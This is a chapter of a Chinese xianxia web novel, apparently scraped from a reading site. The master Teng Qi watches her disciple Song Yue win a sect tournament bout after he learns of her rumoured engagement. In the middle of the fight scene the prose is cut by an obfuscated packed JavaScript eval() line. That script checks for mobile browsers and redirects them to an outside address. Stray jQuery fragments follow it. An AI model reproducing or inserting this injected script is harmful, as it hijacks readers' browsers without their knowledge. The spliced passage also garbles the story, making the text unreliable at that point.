16. 第 16 章

作品:《仙侠文师尊她想开了

    时间如梭,一晃就到了宗门大比。


    暮夏时节,赤阳早早地挂在天边,火热沸腾,湛蓝的天空如水洗般透亮,空气中的热浪一波接着一波。


    得益于山峰高险的地势,滕淇端坐在上方,并未感到炎热,甚至还有丝丝凉爽。


    灵霄剑派鲜有宗门大比,一般多为五年一次的长老选拔弟子大比,剩余的便是像现在这样,专门为了秘境或其他事务而开设的弟子选拔大比,用来决定出行弟子。


    不仅如此,就连比赛安排,宗门也是采用了一种传统而又朴素的方式——抽签决定对手,甚至还美名其曰运气也是实力的一种。


    山峰左侧有一巨大的圆形石台,半米高,其旁伫立一方石碑,写着“铃星台”三个大字。


    门下众弟子叽叽喳喳地讨论着抽签结果,滕淇看下方人群攒动,也难免有些小激动。


    她今天可是早早起了床,就为了一睹这修真界精彩绝伦的斗法比赛,以及身为废柴的男主宋樾究竟要解锁何等金手指才会顺利拿到秘境的通匙。


    “大家,”沈云州突然开口,声音伴随着灵力清晰地传到了每个人的耳中。


    “今日比赛,前二十名可进秘境。”


    他抬手指向铃星台前方的黑色巨石,丝丝灵力从他指尖流向其中,黑石瞬间变得透亮,五彩斑斓。


    “七杀石为证,比赛绝对公平公正。”


    七杀石?


    这不是小说大结局说的那什么原主的藏身之地吗,滕淇的眼神从变为了嫌弃,逼格整这么高,却这么拉胯,还起了个这么个“王霸之气”的名字,真是屎盆子镶金边。


    “七师妹,你说今年谁会是第一名,”闻雨寒百无聊赖地拨弄着一旁垂落的剑穗。


    “哈哈,大师姐你也知道我向来不关心这些事情。”


    就连修仙人士也逃脱不了被人拿来对比的命运。


    惨惨嘟。


    “七师妹~”她亲亲热热地喊着滕淇,面上一片揶揄之色,“你说是五长老的相好,还是掌门的爱徒甘青川呢~”


    修真界究极问题之:你看好大长老的首徒还是掌门的首徒。困难程度丝毫不亚于思考午饭吃什么。


    “小七,台上是你的独苗苗吗。”


    “嗯?”滕淇定睛一看,台上的宋樾一身青衣,衣诀翻飞,似是要和身后的青林融为一体。


    不比上方几人的松弛,台上的宋樾微微颦起眉心,略显迷茫,他也没想到自己竟有如此运气,竟然直接晋级了。


    方才负责此次比赛的执法堂弟子来传,他的对手突感不适,退出了比赛,这一场算他胜。


    后面连着的三场比赛,都是这种情况,滕淇不禁感慨道:主角虽然倒霉,可一旦开挂,那将无人匹敌。


    “宋师弟好运气,只要再赢一局便能进秘境了,”甘青川堆起满脸笑容,像是真心实意为他高兴。


    “师兄,不是...”


    “诶,”来人摆了摆手,“和我不用那么见外,我们马上是一家人了。”


    “一家人?”


    “对啊,”他拍了拍宋樾的肩膀,“你入门比较晚,可能不太清楚,先掌门在的时候,曾给掌门和七长老定下过婚约。”


    “这不是前几年七长老精神不太对劲,所以没人敢提此事,现在七长老已经恢复了神志,我听掌门说,此事很快就能提上日程。”


    “很快提上日程?那师尊可知此事?”


    “婚姻大事,岂有当事人不知情的道理。”


    甘青川发觉身旁人脸色忽然黯淡了下去,以为他是不舍这份师徒情谊:“放宽心,掌门为人甚好,不会亏待七长老的。”


    宋樾敛下眼眸,心里早已惊涛骇浪,面上却不显:“师兄,我之后还有一场比试,就先走了。”


    他转身抬眼,冷冷地扫向上方,恰好看到滕淇和沈云州交谈甚欢。


    她和别人有婚约,还对他说他的存在对她有特别的意义,当真是满嘴谎言。


    但她怎能如此对他?


    在金陵城,生母刻薄的言语,韩风竹的作践欺辱,让他以为他的存在本就是一个错误,但她出现了,护他在身后,替他解围,宽慰劝导他,甚至还替他挡刀,送他基础心法和书籍...


    如此种种,现在却说她和别人有婚约。


    甚至,婚期将近


    师尊,你可真是打得一手好牌,一股难言的酸涩在宋樾心头蔓延开来,盛满了整个胸膛。


    “怎么了,在这里发什么呆呢?”滕淇察觉他的情绪有些不对,便想着下来瞧瞧。


    “师尊,你和掌...”


    一旁突然来了几位执法堂的弟子:“宋樾,下一场你的对手是萧锐,请尽快上台。”


    滕淇看了他一眼,迟疑道:“你这样能行吗?”


    宋樾不欲作答,转身向台上走去。


    台下顿时响起阵阵窃窃私语,无非是议论什么他运气多么多么好,只要赢下这局便能进入前二十名,获得进秘境的资格。


    太阳逐渐西行,不觉间已经到了下午,稀疏的阳光透过斑驳树叶投射在他身上,忽明忽暗,让人看不清他的表情。


    双方站定之后,他忽然像感应到什么似的,向后望去,沈云州不知何时站在了滕淇身旁。


    果然还是这样。


    “宋师弟,得罪了。”


    白光闪过,顷刻间一柄长剑直抵宋樾面门,毫不留情。


    宋樾回过神来,侧身撤步,持剑上截挡住他的剑。


    清脆的回响在场内漾开,传至远方。


    二人剑上逐渐凝出一青一蓝两道剑气,越来越大,向四周扩散。


    萧锐扫了一眼下方宋樾的剑气,体积比他小了一倍,心里一阵得意。


    比赛未开始之前,他便听说此次对手只是一个小小的筑基弟子,能挺到现在无非是他运气好。


    看来这是上天给他安排的白给对手。


    思及此处,他嘴角抑制不住地上扬,却没注意到宋樾本人早已悄悄换了个位置。


    “萧师兄,小心!”台下不知何人出声。


    萧锐向前方左右望去,并未瞧见宋樾,他心中暗道不好,急忙转身,却看到宋樾在他身后二米的位置一手持剑,一手曲伸,站立半空,外袍随风飘荡。


    他怎么有两把剑?


    宋樾催动手中长剑,刹那间身前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088205|163208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凝出三道剑气实体,散发着蓝光。


    他的修为绝不是筑基。


    萧锐不再轻敌,嘴中轻喃法决,如墙般的剑气将要形成,却被宋樾手持长剑,以三道剑气相伴,冲碎了他的屏障。


    “你竟已是金丹期?”


    “嗯。”


    金丹期?


    谁说这男主废柴啊,这男主可太牛了。


    滕淇十日前给他的基础心法,就这几日,他竟从筑基到了金丹大圆满?


    看来现在的宋樾的天赋勉强有和她掰手腕的潜力。


    “他根本不是筑基啊,怎么上报就说是啊?”


    “就是,这也太欺负人了,萧师兄...”


    “肃静,”滕淇略显不满,“难不成还要装个实时监控汇报你们什么修为吗?还是说不允许人家进步飞快了?”


    刚才有人提醒萧锐她就想说了,现在居然还敢在她这个师尊面前为别人打抱不平,真是不把她天清峰一把手放在眼里。


    台上的宋樾怔愣了一瞬,直直地盯着台下的滕淇。


    萧锐本以为这宋樾在滕淇的教导下必定是草包一个,和他对上必定是毫无还手之力,却不成想竟有如此潜力。


    他稳了稳心神,祭出长剑,银白的长剑泛起天青色的光芒,见对面还在发呆,索性直接趁机劈去。


    横竖机会只有一次,名额会在他们二人中产生,秘境百年不遇,他也顾不得那么多吗。


    他轻喃法决,用尽灵力,剑上青光大盛,如有三人之宽,挥向宋樾。


    宋樾回头时,剑气距他不过二米,不想萧锐能做到如此地步。


    他将手中剑柄向上一抛,反手捏决,气引长剑,瞬间浩如白虹,和迎面而来的青光撞在一起。


    “轰——”


    一声巨响宛若天雷将至,一股巨大的冲击波从场内向四周扩散开来,场内阵阵白烟升腾,只能模糊看见一人撑剑站立,一人倒地不起。


    片刻后,白烟弥散,宋樾站在台上,萧锐倒地不起。


    “此场宋樾胜。”


    一时间台上涌上了些许人,不过都是去往的萧锐身边,宋樾环顾四周,自嘲一笑,摇摇晃晃地就要向台下走去。


    滕淇上台找了许久才看到他,急忙赶去搀扶他:“你这么着急走干什么,害我找了半天,伤得怎么样?下场不能参加就算了,反正你也能进秘境了。”


    “你怎么突然进步这么快?有什么秘法吗?宋樾你怎么不说话?”


    宋樾眼前白茫茫一片,偏得耳边的滕淇一直喋喋不休,问题一个接着一个。他摇晃了几下,咚地一声倒在了地上。


    “华斯年,快来人啊,救命了,他怎么倒地了,应该死不了吧?”


    “师尊,你话好多。”


    “.....”


    华斯年瞬移来到台上,来到二人身旁,仔细查看一番,并无异常,五脏六腑皆在:“只是灵力用竭,外加身体有些重创而已,死不了。”


    “大比结束后的一个月就好好歇息,先调养身体。”


    “师尊,下场比赛我不参加了。”


    “也好,师兄,你给我拿些药,我先回去照顾独苗了。”